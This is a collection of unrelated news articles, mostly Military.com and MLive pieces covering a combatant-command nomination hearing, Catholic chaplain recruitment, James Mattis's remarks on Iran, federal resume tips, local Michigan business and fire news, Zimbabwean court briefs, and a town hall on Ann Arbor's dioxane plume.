Sen. Thom Tillis, a North Carolina Republican, and Sen. Tom Cotton, an Arkansas Republican, also pledged to support both nominations. Sen. Jack Reed of Rhode Island, the ranking SASC Democrat, told Robinson, currently commander of U.S. Pacific Air Forces, that in addition to her new responsibilities "you will also make a bit of history as the first female to lead a U.S. combatant command."

To meet the concerns of McCain and several other committee members, Robinson said one her first actions, if confirmed, would be to go to the Mexican border to gauge how the command could contribute to the efforts of the Department of Homeland Security in stopping the flow of "black tar" heroin into the U.S.

"It's important for me to work the landscape," Robinson said. "I commit to you I will do that -- go down to the border and look at it." McCain said "I'll be glad to escort you." He said that the Army base at Fort Huachuca, Arizona, was flying surveillance drones to aid DHS but was not flying them along the border.

McCain said he was aware of the "posse comitatus" limits on the military's cooperation with law enforcement but "this is insane."

Others panel members pleaded with Robinson to get command more involved in stopping the heroin flow that Sen. Richard Blumenthal, a Connecticut Democrat, likened to a "public health hurricane."

Sen. Jeanne Shaheen, a New Hampshire Democrat, said "those drugs are going up right up Interstate 35 into rest of country. The epidemic is absolutely heartwrenching."

Sen. Joe Donnelly, an Indiana Democrat, said, "We desperately need you to be the point person in stopping this epidemic." Robinson said "I commit to you that I will do everything to understand and to work with DHS."

Robinson, 56, joined the Air Force in 1982 through the ROTC program at the University of New Hampshire and lists New Hampshire as her home state.

Her Air Force biography states that "she has served in a variety of positions as an air battle manager, including instructor and commander of the Command and Control Operations Division at the Air Force Fighter Weapons School, as well as Chief of Tactics in the 965th Airborne Warning and Control Squadron.

"She has commanded an operations group, a training wing, an air control wing and has deployed as Vice Commander of the 405th Air Expeditionary Wing, leading more than 2,000 Airmen flying B-1 Lancer, KC-135 Stratotanker and E-3 Sentry in Operations Enduring and Iraqi Freedom."

Robinson also has logged more than 900 flight hours as a "senior air battle manager" aboard the E-3B/CAirbone Early Warning and Control (AWACS) aircraft and aboard the E-8C Joint Surveillance Target Attack Radar System (J-STARS) plane, the biography said.

As commander of Pacific Air Forces, Robinson currently is responsible for 46,000 airmen serving principally in Japan, Korea, Hawaii, Alaska and Guam. If confirmed, Robinson would replace the retiring Adm. William Gortney at NorthCom and Norad. "It would be a tremendous honor to build on his efforts," Robinson said of Gortney.

-- Richard Sisk can be reached at Richard.Sisk@Military.com.
Ten Roman Catholic priests from across the country, among them immigrants from South America, Europe and India, toured the Pentagon and took part in a Mass on Thursday as part of a weeklong retreat aimed at gauging their interest in becoming military chaplains.

The Pentagon visit followed several days of visits to other Washington, D.C., area military installations: Andrews Air Force Base in Maryland and Fort Belvoir and Marine Corps Base Quantico in Virginia. They met with chaplains, learned about what they do, and also with service members to hear what having a chaplain means to them.

"It's an edifying experience for a priest to see not only the need for military chaplains but the [determination] of priests to meet the need," a visiting priest from Wisconsin said. He believes he would find great satisfaction in being a chaplain: "I love God and I love my country," he said.

The "For God and Country" retreat was the second sponsored by the Archdiocese of the Military Services. The first, held last October, resulted in five of the 10 visiting priests committing to becoming military chaplains. A third retreat is planned for this October.

The archdiocese, which is the endorsing agency for Catholic chaplains, is eager to up the numbers of priests serving in the military. Though Catholics account for roughly one quarter of all U.S. service members worldwide, there are slightly more than 200 Catholic chaplains.

This is a problem for the Catholic Church, which expects its priests to see to the needs of its own faithful even while they work to support, comfort and ensure the spiritual needs of non-Catholics are met.

A Defense Department Inspector General report last year said that Catholic chaplains -- like those from low-density faith groups -- found the demands of meeting the needs of their units and performing services for their own faith group at large made for a difficult workload. This, even though Catholicism is not considered low density, the IG said. But priests "are in short supply and their presence is required to perform certain sacraments of the Catholic faith," the IG said.

Deacon Mike Yakir, chancellor for the Archdiocese of the Military Services, said there are some sacraments that only a priest can provide.

"If you're a Marine  going out on a patrol the next morning, and you think you might not come back and you want make confession, only a priest can do that," Yakir said. No other church official and no chaplain of another faith can offer a Catholic that sacrament.

But the archdiocese is also concerned with the possibility that Catholic troops who are not served by a priest will be drawn to another faith.

In an address to the General Assembly of the U.S. Conference of Catholic Bishops in Baltimore last fall, Archbishop for the Military Services Timothy Broglio said the need for more Catholic military chaplains had become "desperate."

"Approximately one fourth of the active-duty personnel and their immediate families are Catholics," he said. "At present, those Catholics -- totally, around a million people -- are served by only 217 priests in a territory that covers the globe. They represent only 8 percent of all military chaplains."

"That suggests that others might easily cultivate Catholic young people seeking spiritual counsel," Broglio said.

Though Broglio did not say who Catholics may drift to, his predecessor at the Archdiocese of the Military Services did criticize what he saw as aggressive proselytizing by evangelical Christians, according to "For God or Country? Religious Tensions Within the United States Military," a 2006 thesis written by Army Lt. Col. Jason G. Riley.

"That [proselytizing] is not accommodating the needs of others. Some people don't believe that, and it's not my position as a chaplain to require that of them," Archbishop Edwin O'Brien is quoted as saying. "I must respect who they are and what they are. Some evangelicals have stepped over that line."

Broglio, in his remarks in Baltimore, urged the bishops to release more priests to serve on active duty in the military, telling them it is "imperative that every diocese have at least one priest to ensure that your faithful who defend our religious freedom do not have to sacrifice theirs."

If the comments of three priests interviewed by Military.com on Thursday are an indication of how the latest retreat will go, Broglio should be pleased.

The three, interviewed after the entire group participated in a Mass at the 9/11 Memorial Chapel at the Pentagon, all said they are serious about becoming chaplains. Because few beyond their own bishops -- who authorized their participation in the retreat -- are aware of their interest in being chaplains, the priests asked that they not be identified by name or even parish.

"I felt here in the Army are people craving for God," said one member of the group, who now serves a parish in North Dakota. "In the parish, you go to the people, here they come to you.  If they grant me permission, I'm in."

A priest now with a parish in Tennessee, but originally from Eastern Europe, said he first considered the chaplaincy in 2009. At one time, he spoke with the Air Force but did not follow through.

He said being a military chaplain has the same attraction to him as being a priest in the United States -- the diversity of the parishioners.

"After spending a week [on the retreat], I  decided to join the Army Reserve," he said. That way he can serve the military but would also continue to serve his parish. "If my bishop approves, then I can begin the process," he said. "It will also be an adventure. You can look at it that way, too."

-- Bryant Jordan can be reached at Bryant.jordan@military.com. Follow him on Twitter at @BryantJordan.
The new favorite Cinderella story in Washington involves a plan to draft the beloved former Marine general James Mattis to run as a dark horse candidate against a lackluster presidential field.

But Mattis, speaking at the Center for Strategic and International Studies on Friday morning, declined to indulge speculation.

"No, I haven't given any thought to" a presidential run, Mattis said, dismissing further discussion of the possibility.

Following his lecture on the Middle East and Iranian aggression, Mattis, the former four-star commander of U.S. Central Command and a current fellow at the Hoover Institution in California, implied he was mystified by the buzz surrounding his hypothetical candidacy.

"It's been going on for 15 months. Since coming back from overseas, this is more of a foreign country than the places overseas," he said. "I don't understand it. It's like America has lost faith in rational thought."

He declined to comment on the current field of candidates, saying that 40 years as a naval officer had ingrained in him an aversion to taking a partisan stance.

Nonetheless, his talk Friday contained stern indictments of U.S. foreign policy and President Barack Obama himself, and hinted at his feelings regarding at least one presidential front-runner. Despite Mattis' refusal to publicly entertain the possibility of a candidacy, his speech is unlikely to dampen the excitement of many who would like to see him run.

Mattis' remarks focused on Iran, which he characterized as the "single most enduring threat to stability and peace in the Middle East," regardless of the attention given to Islamic State extremists and other non-state actors.

The 2015 deal that stipulated Iran would surrender its enriched uranium and halt plutonium production in exchange for relief from international economic sanctions only served to buy time, Mattis said. And it's clear from Iranian rhetoric and actions, he added, that the country's leaders do not plan to act in good faith.

"[Iran's Ayatollah Ali Khamenei] summed it up very well when he said those who say that the future lies in negotiations, not in missiles, are either ignorant or traitors," Mattis said. "That is the Supreme Leader. I think we should take him at his word."

In the face of the Iranian nuclear threat and clear hostile intentions and following an imperfect nuclear deal, the U.S. is in a "strategy-free mode," he said, shifting attention from one region of the world to another without consistency.

"We have been attacking [the Islamic State] in Iraq, then we shifted to Syria. Now we're in gradual escalation right now," Mattis said, adding that the "Pacific pivot" of recent years had also left Middle Eastern allies concerned.

"My point is, we've got to be able to walk and chew gum at the same time," he said.

The president, Mattis said, seems to have a troubling lack of regard for international allies. Mattis praised the loyalty of nations including Jordan and the United Arab Emirates, and noted the allies were crucial to peacekeeping efforts.

When journalist Jeffrey Goldberg published his New Yorker profile of Obama's foreign policy in March, Mattis said he thought he had printed out the wrong article and was reading comments by bombastic Republican presidential hopeful Donald Trump regarding U.S. allies instead.

"It wasn't Trump; it was the president saying that our allies are free riders and that sort of thing," he said. "For a sitting U.S. president to see our allies as freeloaders is nuts."

Congress, too, has failed, Mattis said.

It had neglected to put in place "standby" economic sanctions to inflict if Iran did not keep its end of the nuclear deal, he said, and had not officially authorized use of military force against the Islamic State, which would send a clear message about American resolve in the region. Congress had also failed to increase intelligence funding for use against Iran, Mattis said.

"The bottom line on the American situation is that the next president is going to inherit a mess," he said. "That's the most diplomatic word for it."

Faced with declining influence in the Middle East and persistent hostility from Iran, Mattis said the U.S. must plan for the worst, addressing Iran's cyber and ballistic missile threat as well as its long-term nuclear aspirations. America needs to remain staunch in its policy and maintain strong communication with allies, regarding Iran not as a responsible nation state but as a "revolutionary cause devoted to mayhem," Mattis said.

"Worth more than 10 battleships or five armed divisions is a sense of American political resolve," he said.

-- Hope Hodge Seck can be reached at hope.seck@military.com. Follow her on Twitter at @HopeSeck.
Retired Military Officials Are Finding High-Paying Jobs With the Saudi Government and Can Make up up to 7-Figure Salaries Working for Other Foreign Governments

Retired U.S. military personnel cannot receive consulting fees or jobs from foreign governments without expressed approval...
CAMP BUEHRING, Kuwait  The sun is setting over the horizon here as Army Sgt. Cassandra Peel practices one of her final kicks of the day. Precision. Power. Passion. These words come to mind as she delivers one swift kick after another. It is evident that this woman is in her element.

Peel, an avionics mechanic with Bravo Company, 640th Aviation Support Battalion, 40th Combat Aviation Brigade, is a self-proclaimed Army brat, born at Fort Riley, Kansas.

Former Army Brat

Parented by two retired service members, Peel and her four siblings grew up intimately familiar with the Army lifestyle. After first grade her family relocated to Kaiserslautern, Germany, where Peel spent the majority of her childhood.

Today, Peel is well-traveled and proficient in German. But she has another skill set that may come as a revelation even to those who know her fairly well: a 2nd degree black belt in taekwondo.

Peel, who is now an assistant instructor at a taekwondo academy in Arcata, California, was first drawn to the sport six years ago during her freshman year in college at Kansas State University. She attended her first sessions at a nearby taekwondo academy in Hays.

"It was the community [that drew me in]," Peel said. "The people are like family."

Seeking Self-Improvement

During Peel's training, she learned self-improvement, courtesy, integrity and perseverance. With her military upbringing and background in taekwondo, it seemed only natural for her to join the Kansas Army National Guard in 2011.

"I had always dreamed about joining the military," Peel said, stating that her parents' success had steered her in that direction.

Army Sgt. Brittany Bergman, a fellow mechanic in Bravo Company, has known Peel since they both graduated from Army basic training in 2012.

"She sets a standard that females can strive to meet," Bergman said, describing Peel's character as sincere, determined and strong.

Peel emphasized the usefulness of self-defense classes for increasing one's confidence and personal safety as a "hard target."

"Stand up for yourself," Peel said. "A lot of people are too passive. Be assertive and be vocal."

Following her deployment, Peel plans to test for her 3rd degree black belt. After the necessary "time in grade" she will be prepared to rank up, proving once more that she is an unparalleled, well-rounded individual.

"My philosophy on life is to enjoy the present and focus on making yourself and those around you happy, and life will work itself out," she said.
Everything You Need to Know About the Amazon Military Discount, Tips and Tricks

The Amazon military discount is a promotion Amazon.com has given around Veterans Day for its Amazon Prime service.
News / Local

by Staff Reporter

A tout in Waterfalls Harare has been arrested for assaulting a sick passenger who vomited in the commuter omnibus.Thomas Mutero pleaded guilty when he appeared before Mbare magistrate Gladys Moyo charged with assault. He was remanded to April 26 for sentence.The court heard that on April 16 at 9pm Obey Rupete boarded a commuter omnibus and got upset stomach since the previous day. He had gone to work on the day though he had not yet fully recovered.He said he got upset and started vomiting in the kombi. After realizing that someone had vomited Mutero walked towards him and and grabbed Rupete by the neck through the window before pulling him out and punched him leaving him nose bleeding.Rupete reported the matter to the police and Mutero was arrested.
A newly separated or retired military person must have a good resume to begin their next career. More than half of the military would like to land a federal position where they can continue to utilize their DOD skills and abilities, or where they can continue in public service.

Even if a veteran has 5 or 10 points due to a disability, it is important that your resume get you Qualified, if you are to take advantage of veterans' preference programs.

Related: Does your resume pass the 6-second test? Get a FREE assessment.

The biggest problem is that a federal resume  the one-and-only application for a federal job  is not the same as a private industry resume. And the federal resume must be targeted toward a specific position in the government. Here are 18 common problems that I see when I review resumes by military and former military who are seriously applying for federal jobs. How many of the mistakes below do you have on your federal resume? Are you getting Best Qualified and Referred? If not, review this checklist by a Federal Resume guru and determine which of these common mistakes should be fixed or changed.

1. Resumes are not translated in terms of duties and responsibilities from military terminology into federal job duties. Employers will literally have NO idea what you are doing in your job and how it can relate to any position in government.

2. Resumes still include acronyms and nouns that are strictly military and not transferrable to public service, and few HR specialists will understand.

3. Resumes are written based on the fitness evaluations. They are basically copied and pasted into the resume with no context or description. The sentences are choppy, incomplete and do not tell a whole story.

4. Resumes are too short. There is simply not enough content to get Best Qualified.

5. The dates in the resume are just messed up. Either the resume has one beginning and ending date for the entire military career, or there are too many dates and locations for the military career. It is critical that the HR specialist see the months and years of your most recent assignments, so they can see if you have One Year of Specialized Experience in the field of work of your target announcement.

Related: Search for government jobs.

6. The military person uses an overseas address, even when they are coming back to the US in a month or so. HR departments need to see where you live in the US

7. The basic competencies that are developed in the military are not featured in the resume. For example, the HR specialist will not be able to see that the military person is skilled as a Team Leader, has excellent communications or Interpersonal skills, problem-solving skills or is flexible.

8. Accomplishments with a few details are usually not added into the resume and if they are in the resume, they are combined with the basic duties and therefore, the accomplishment is hard to find. Each resume must have 2 to 5 accomplishments that can stand out, so you can get referred or offered an interview.

9. Keywords from the vacancy announcement are not used in the new resume. Keywords are words that are repeated from the announcement and represent critical skills needed for high performance on the job.

10. Little or no attention is paid to the fact that the announcement must include the One Year of Specialized Experience in the resume. Read the Qualiications section and feature that experience in your resume.

11. Little or no attention is paid to the Knowledge, Skills and Abilities (KSAs) required in the announcement and should be covered in the resume.However, KSAs are being phased out, so you're in luck!

12. Training may be included in the resume, but it does not include the number of hours for courses, the year completed, the full title of the training, etcetera. Sometimes certain hours of training or certification is mandatory.

Related: To apply for jobs that match your skills, visit the Military Skills Translator.

13. Awards and recognitions may or may not be in the resume. These are impressive and can help with getting Referred.

14. The resume is not written against the OPM Qualification Standards. There is almost NO resemblance to a specific occupational series. If the resume does not match an OPM Standard, you will probably not get Best Qualified.

15. Most resumes are impossible to read because they are a long list of bullet statements or a huge block of type that no busy HR specialist will possibly read. The bullet resume format is difficult to read.

16. Most resumes do not match the Questionnaire at all. The Questionnaire is a TEST, and your resume must verify your answers.

17. Many resumes include all jobs, which may not be relevant, may be short, or repetitive in the chronology. The chronology can be too simplified or too complex. HR specialists want to read the last 5 or 10 years. The rest of the information can be summarized.

18. Many resumes are uploaded into the USAJOBs application and therefore are missing important information, such as months and year; hours per week; supervisor names and phones; training and other important information for HR to review. I recommend the resume builder, over the upload feature.

In short, a compliant federal resume that is targeted toward an announcement is critical to get "Qualified", "Best Qualified Referred", interviewed and hired.

Related Articles:

Related: For the latest veteran jobs postings around the country, including jobs related to government, visit the Military.com Job Search section.

The Next Step: Get Your Resume Out There

Get your resume seen by companies that are seeking veterans like you. Post your resume with Monster.com.
News / Local

by Staff Reporter

SMUGGLING 34 bales of secondhand clothing into the country from Mozambique through an undesignated entry point landed a Zimunya man in trouble after he was ordered to pay $200 fine last week.Manica Post reported that Tawanda Chiramba (39) who resides at Manyengavana Village under Chief Zimunya appeared before Sekai Chiundura and pleaded guilty to smuggling. Fletcher Karombe prosecuted.It was the State's case that Chiramba was found in possession of 31 sealed bales of secondhand clothes and three bales of secondhand shoes which he had smuggled from Mozambique."Chiramba was found with 34 bales of secondhand clothing loaded in his Toyota vehicle at Macebin Boaderstreams, Vumba without proper documents allowing him to do so. Police detectives who were on deployment during Operation Anti-Smuggling spotted Chiramba and arrested him. The smuggled bales with a value of $3 250 were recovered," said Karombe.Asked to explain why he opted to smuggle the clothes into Zimbabwe, Chiramba told the court that he wanted to make a living."I was trying to earn a living Your Worship. Things are tough at home," said Chiramba.Chiundura warned him to find legal ways of earning a living.He was ordered him to pay $200 or serve an alternative four months imprisonment."Crime does not pay. Smuggling is a serious offence. You have to desist from that bad behaviour and find legal means of putting food on the table for your family," said Chiundura.
JACKSON, MI -- Casa Rodriguez completed its 1.3-mile move to its new location at 700 Wildwood Avenue when it opened those new doors for customers Tuesday, April 19.

Take a look inside the Mexican restaurant's new location with the photo gallery at the top of this page.

Casa Rodriguez has overflow parking available at 713 Wildwood Ave.

During MLive's search for Michigan's Best Taco in mid-2014, the restaurant and its menu were highlighted. To view the restaurant's menu, click here.

The restaurant will have hours of 11 a.m. to 9 p.m. Monday through Saturday, and 11 to 4 p.m. on Sundays. Casa Rodriguez's menu has an array of "American" style tacos, authentic Mexican cuisine and even has items somewhere in-between.

For more information, call 517-513-6100.
Kava House 20th Anniversary 02

The former Kava House in Grand Rapids's Eastown neighborhood will reopen in May 2016 as Early Bird, a joint venture between Rowster Coffee and Chef Joel Wabeke. (Cory Morse | MLive.com)

(CORY MORSE)

GRAND RAPIDS, MI -- A new eatery is on track to open in May in the former Kava House in Eastown.

Rowster Coffee is teaming up with chef Joel Wabeke to open Early Bird Food and Drink at 1445 Lake Dr. SE.

A lot like Kava House, Early Bird is going to be neighborhood focused and low-key, says Stephen Curtis, vice president of Rowster Coffee, a popular coffee supplier with a storefront at 632 Wealthy St. SE and roasting operation on the city's Southwest Side.

"We love this spot because it's in an active community with a diverse population filled with families, college students, young and old," Curtis said. "What Eastown needs is a neighborhood hub for residents to grab their morning coffee and a quick bite, meet up with friends for lunch, or just sit and sip on a latte while working on homework or emails and it is our goal to provide that location for the community."

Curtis has been the face of Rowster, since taking over its shop in 2006, and growing the business into its current expanded quarters in 2010.

He takes pride that Rowster was the first shop in Michigan to offer only pour over coffee and becoming one of the first Level 1 Barista Guild of America certified baristas.

Rowster-supplied coffee options will range from grab-and-go brewed coffees to craft espresso drinks. Wabeke's dishes will feature breakfast sandwiches made with homemade sourdough English muffins and Japanese milk bread. Lunch options will include grain-based salads and vegetable-filled soups.



Wabeke began his career working in several local Grand Rapids restaurants ranging from Gaia to Gibson's before attending the Culinary Institute of America in New York. His resume includes stints at The Fat Duck and The Hinds Head in London, Balena in Chicago, JW Marriott's six.one.six in downtown Grand Rapids, Terra in Eastown and most recently as chef de cuisine for Wright and Company in Detroit.

Kava House, a well-known coffee shop in the Eastown neighborhood, closed Nov. 20 after 23 years. Owners, mother and daughter Pam Murray and Leigh Vander Molen, sold the location to Rowster and Wabeke.

Early Bird's operating hours are expected to be 7 a.m. to 7 p.m. Monday through Saturday, and 9 a.m. to 6 p.m. on Sunday.

Shandra Martinez covers business and other topics for MLive. Email her or follow her on Twitter @shandramartinez.
GRAND RAPIDS, MI - When asked what advice she had for aspiring female leaders, Shiza Shahid encouraged people to be aware of other people's struggles and speak up for them.

"We have to get over not feeling good enough and allow ourselves to speak," Shahid told more than 3,000 girls and young women on Thursday who gathered at the Spoelhof Fieldhouse at Calvin College.

Shahid lives that advice.

The 28-year-old is the co-founder of the Malala Fund, created with and named after her friend, Malala Yousafzai.

Her friendship with Yousafzai, now 20, began when Shahid was attending Stanford University on scholarship about nine year ago. She read a BBC blog by the then 11-year-old Pakistani who talked about her wish to go to school. Inspired, Shahid worked with others to organize a secret summer school that Yousafzai and a few dozen other girls attended.

A few years later, in 2012, Yousafzai was shot in the head after refusing the order that girls in the region not go to school. Shahid quit her job and flew to the United Kingdom to be with Yousafza as she recovered.

Together, the women started the Malala Fund, a New York-based nonprofit that advocates for a free primary and secondary education for women around the world.

In 2014, Yousafzai was awarded the Nobel Peace Prize, along with Indian children's rights activist Kailash Satyarthi, making her the youngest person to receive the honor.

Shahid's work for the fund has garnered her acclaim as well. She was named one of Time Magazine's "30 Under 30 World Changers" and to Forbes "30 Under 30" list of social entrepreneurs.

Her visit to Grand Rapids on Thursday was part of the Empowerment Forum, held to mark the 30th Anniversary celebration of the Michigan Women's Foundation.

After speaking to female students from 23 area school districts and local universities, Shahid spoke at the foundation's "Lights, Courage, Action!" luncheon at the JW Marriott hotel in downtown Grand Rapids.

The organization works to achieve social and economic equality for Michigan's women and girls, said Carolyn Cassin, chief executive officer of Michigan Women's Foundation.

"We want to celebrate our decades of achievement but also acknowledge the work left to do and inspire the next generation who will tackle the challenges that remain," Cassin said.

@Shiza Shahid asks, "What is it that you plan to do with your one wild, miraculous life?" #empoweredtogether pic.twitter.com/humDD6vYLZ  Michigan Women Forward (@MiWomen) April 21, 2016

Shandra Martinez covers business and other topics for MLive. Email her or follow her on Twitter @shandramartinez.
All-Pro cornerback Josh Norman unexpectedly hit the free agent market this week when the Carolina Panthers rescinded the franchise tag. It's being reported he's seeking one of the largest, if not the largest, contracts at his position.

The Detroit Lions have the cap space, and after failing to upgrade any starting spots this offseason, it begs the question: Should they make a run at Norman? MLive reporters Justin Rogers and Kyle Meinke debate this topic in the video above.
KALAMAZOO, MI -- Schoolcraft High School has won the Kalamazoo Gazette's Prom of the Week poll for April 23.

Schoolcraft got 2,009 votes (52 percent) of the 3,857 votes cast. Mattawan High School got 1,434 votes (37 percent) and Centreville High School received 414 votes (11 percent).

Staff from MLive/Kalamazoo Gazette will be at the proms of all three schools this Saturday evening, April 23. Look for photo galleries from each prom at mlive.com/kalamazoo/ Sunday morning.

We are also collecting reader-submitted photos of students attending the proms that we are covering. Those should be emailed to kznews@mlive.com. Include your name and the name of the school.

As the poll winner, a photo package from the Schoolcraft High School prom being held at Loft 310 in downtown Kalamazoo will appear in a home-delivered edition of the Gazette during the upcoming week.

Look on MLive next Tuesday for the Prom of the Week poll among Kalamazoo-area schools for April 30.
YPSILANTI TWP, MI - Authorities believe careless smoking may have caused a house fire in Ypsilanti Township on Wednesday afternoon.

Firefighters were called to a porch fire about 1:40 p.m. April 20 in the 600 block of Hayes Street, but arrived to find the fire had already spread into the attic of the home, according to an Ypsilanti Township fire official.

The building was almost a total loss with the cost of damages estimated at about $80,000 to the structure and about $30,000 to the contents in the home, the official said.

No one was injured in the fire and the American Red Cross was called to assist the family.

Darcie Moran covers cops and courts for MLive and The Ann Arbor News. Email her at dmoran@mlive.com or follow her on Twitter @darciegmoran.
Related: Michigan DEQ director to Ann Arbor crowd: 'You caught our attention'

ANN ARBOR, MI -- What does the Michigan Department of Environmental Quality think about getting the U.S. Environmental Protection Agency involved in overseeing a cleanup of the Gelman plume?

Would petitioning the EPA to have the plume listed as a federal Superfund site result in a better cleanup of the dioxane pollution in the area's groundwater?

Bob Wagner, the DEQ's Remediation and Redevelopment Division chief, discussed the pros and cons of going the EPA Superfund route at a town hall meeting this week at Eberwhite Elementary School in Ann Arbor.

Wagner said there are advantages to Superfund listing sometimes, but he noted the federal Superfund law requires the EPA to look at applicable, appropriate and relevant requirements, and that would include reviewing the state's cleanup criteria and what Michigan's environmental laws say about risk management.

Bob Wagner, the Michigan DEQ's Remediation and Redevelopment Division chief, speaks during a town hall meeting on the Gelman dioxane plume in Ann Arbor on April 18, 2016. Seated in the front row is Keith Creagh, acting DEQ director.

"Our law allows for risk management techniques instead of cleanup as long as the public health can be protected," he said. "So, prohibition zones, institutional controls, restrictive covenants that require soil or groundwater to be prohibited from use, from touching it, from excavating it, from withdrawing it through a well or whatever, are also techniques to manage risks to the public in lieu of cleaning up all of the groundwater contamination or all of the soil contamination."

So, it's bit circular, Wagner said.

"Because guess what they're going to come back to? They're going to come back to (the state's cleanup rules) to see whether they're appropriate, applicable and relevant for the site, and they would have to determine that somehow they're not, and that's just part of the process."

Wagner said the state refers sites to the EPA for Superfund listing, so the DEQ works with the EPA as a partner.

"And we work with EPA on all 65 Superfund sites in Michigan," he said. "So, when we refer sites to EPA Superfund, they involve sites that basically the state's purse is not big enough to cover all of the expenses."

Wagner said an example would be the Velsicol Chemical pollution site in St. Louis. He said that's maybe the most polluted site in Michigan.

"EPA Superfund is managing that site and we work with them, and that's a good thing for the state of Michigan," he said.

"Another one would be the Kalamazoo River PCB contamination," he said. "We have 80 miles of the Kalamazoo with PCB contamination. It's extensive. It's expensive. In this case, EPA is the lead and actually working with some responsible parties to get that work done."

The EPA last week ordered the removal of contaminated sediment and soil from a 1.5-mile stretch of the Kalamazoo River as part of a broader cleanup effort.

So, Wagner said, there are some good advantages to Superfund listing and the EPA can be a great partner.

However, he said, the federal Superfund process is typically nowhere near close to speed of the state process with respect to cleanup.

He said cleanup of Superfund sites is a lengthy process, typically taking decades, but they also tend to be some of the worst pollution sites.

"The speediest way to clean up is working with a private party who wants to do cleanup, works with the state, and we get it done, or the state uses public funds and just goes in and gets it done," he said.

"But, as you know, any litigation is a little longer, so we have had that in play here. So, I can't compare exactly."

Ann Arbor resident Vince Caruso, a member of the Allen's Creek Watershed Group and the Coalition for Action on Remediation of Dioxane, responded to Wagner's remarks by saying it's hard to believe the EPA could be any slower than the DEQ, which has been overseeing the Gelman plume for decades.

"And we're lowering the standard here, so it's changing the whole scheme of things," Caruso said, referring to the fact that the DEQ is proposing to lower the state's allowable exposure level for dioxane in residential drinking water from 85 parts per billion to 7.2 ppb, setting a stricter standard that may or may not lead to a better cleanup depending on what happens next.

The history of the plume goes back 50 years. Gelman Sciences dumped large amounts of dioxane into the environment along Wagner Road -- on Ann Arbor's western border with Scio Township -- from 1966 to 1986.

Pall Corp., which acquired Gelman in 1997, is doing some pump-and-treat remediation, but many believe it's not enough, as the plume continues to spread, contaminating drinking water supplies ranging from private wells in Scio Township to a municipal supply well in Ann Arbor that the city has since shut down.

The biggest fear is that the plume might eventually reach Barton Pond on the Huron River, where the city gets most of its drinking water.

"This particular site is governed by the Washtenaw County Circuit Court because the state of Michigan, the attorney general's office and the Department of Natural Resources at the time filed a lawsuit as the plaintiff against Gelman, who was the defendant," Wagner said, recalling the legal history going back decades.

"We are still governed by the court," he said. "We still have to go to the court. For example, when the 7.2 ppb new criteria is promulgated for this site, we have to go back to the court and basically ask the court to establish the new standard, and then the court will make the decision. And that's pretty much true with every action the department is going to seek from the court or from Pall."

Wagner said in some cases the DEQ is able to work with Pall in settlement negotiations to get things done. As one example, he noted Pall has voluntarily agreed to extend municipal water service to residences in Scio Township if dioxane levels in wells exceed the proposed 7.2 ppb standard.

But even if the company and the state are able to reach agreement, they'll still likely have to go to court to make it official.

"Going forward, the DEQ is going to be representing us on behalf of the people of Michigan," said state Rep. Jeff Irwin, D-Ann Arbor. "And we're going to be up against Gelman, Pall and Danaher, who want to hold onto as many of their dollars as possible at the expense of our groundwater and our environment here in Ann Arbor. So, I want to stress that the DEQ announcing that they're going to promulgate a more strict standard for this cancer-causing substance is good news, because they're our partners in this effort."

Irwin, who has been frustrated with the DEQ for being slow to revise the dioxane standard, said hopefully the fact that things are moving forward now is a good sign that they're going to be working together to hold the polluter responsible.

"We're hoping the stricter standard allows our partners at DEQ to push for more pumping and treating, maybe a leading-edge approach, rather than expanding prohibition zones, which I think is the do-nothing solution," Irwin said.

"The importance of the standard is not so much the number on the page, but what it allows us to then do," Irwin added. "It allows us then to go to a judge and say the current cleanup is not protective of public health, it's not in accordance with the law, and we need more pumping and treating, maybe we need a leading-edge strategy to contain the plume. There's a lot of different things that we can investigate as improvements to the cleanup with the new standard."

Mitch Adelman, district supervisor for the DEQ's Remediation and Remediation Division, recalled some of the cleanup history.

He said what to do with the contaminated water after it's extracted from the ground and treated has been a source of contention for years.

The state is allowing Gelman to discharge treated water that still has dioxane levels up to 8 ppb and that's not expected to change.

The dioxane-laced effluent flows to Honey Creek, which flows to the Huron River upstream of Barton Pond, where Ann Arbor gets its drinking water.

The city tests for dioxane at the intake source and reports it hasn't ever detected dioxane because it's diluted by the time it reaches Barton Pond.

Adelman said Gelman is currently pumping about 500 gallons per minute, short of the permitted level of 1,300 gallons per minute.

The contaminated water is treated at the company's plant on Wagner Road before it's discharged.

Until about 2004, Adelman said, the company was using ultraviolet technology to treat the contaminated water, requiring a lot of adjustments using chemicals before it was run through ultraviolet lamps.

"Oxidization is definitely the way to treat this 1,4-dioxane compound. The UV light is one way to oxidize it," he said. "The current process they use is a combination of ozone and hydrogen peroxide to oxidize this chemical into its components of water and carbon dioxide. So, the oxidation process can be done in the aquifer, too, under controlled circumstances."

Roger Rayle, chairman of Scio Residents for Safe Water, said there's room for improvement.

"The best treatment system can completely mineralize dioxane, completely take it down to its elemental compounds, which is carbon dioxide and water," he said, adding the company could bottle it and sell it then. "It's Perrier."

But he said apparently the company isn't interested in doing that.

Adelman noted that when the Gelman case was originally in court in the early 1990s, the court found there was contamination from releases of dioxane that were not permitted, and that opened the door to hold the company liable.

Irwin recalled Michigan used to have a strong polluter-pay law before the state's cleanup regulations were weakened in 1995, switching to an approach of minimizing risk of exposure instead of fully cleaning up pollution.

"That's one of the reasons why this cleanup has been so lax and ineffective over the years, because the law required the DEQ to balance the economic utility of the cleanup with the actual harm to human beings," he said. "And because we're in the city all on city water, there's been sort of an attitude, 'Well, we can solve this by putting in place these prohibition zones,' which are really just to prevent people from ever touching the water again.

"Now, to me, that's a completely unacceptable way to treat our water and to treat all of our rights to that water."

Rayle said he's hopeful the stricter 7.2 ppb standard will put more pressure on the DEQ and the company to use the best analysis techniques to detect dioxane at concentrations as low as 0.07 ppb instead of the older methods being used now that only detect down to 1 ppb.

"If you're detecting around the perimeter at a lower level, then you have more of a heads up if the dioxane is moving that way," he said.

Wagner noted the DEQ also is proposing new rules for vapor intrusion, which he said might become very important here with respect to dioxane potentially infiltrating people's homes as vapor from groundwater.

"If you have a sump pump and water in your basement and it has 1,4-dioxane, 1,4-dioxane has some ability to become a vapor," he said, acknowledging that could be a potential risk for people living atop the plume.

"It's really based upon what concentration in the water that's in your basement, either because of a sump pump or because of seeps, or even flooding, so we'll take a look at that," he said.

"It's possible to have 1,4-dioxane very deep under your home, but still have shallow groundwater seeping into your home," he added. "And if that's the case, that clean groundwater overlying the contaminated groundwater will protect you from vapor intrusion, so it matters where the chemical is relative to the water that's getting into your home as to whether it's a risk or not."

Watch the full meeting here:

Ryan Stanton covers the city beat for The Ann Arbor News. Reach him at ryanstanton@mlive.com.
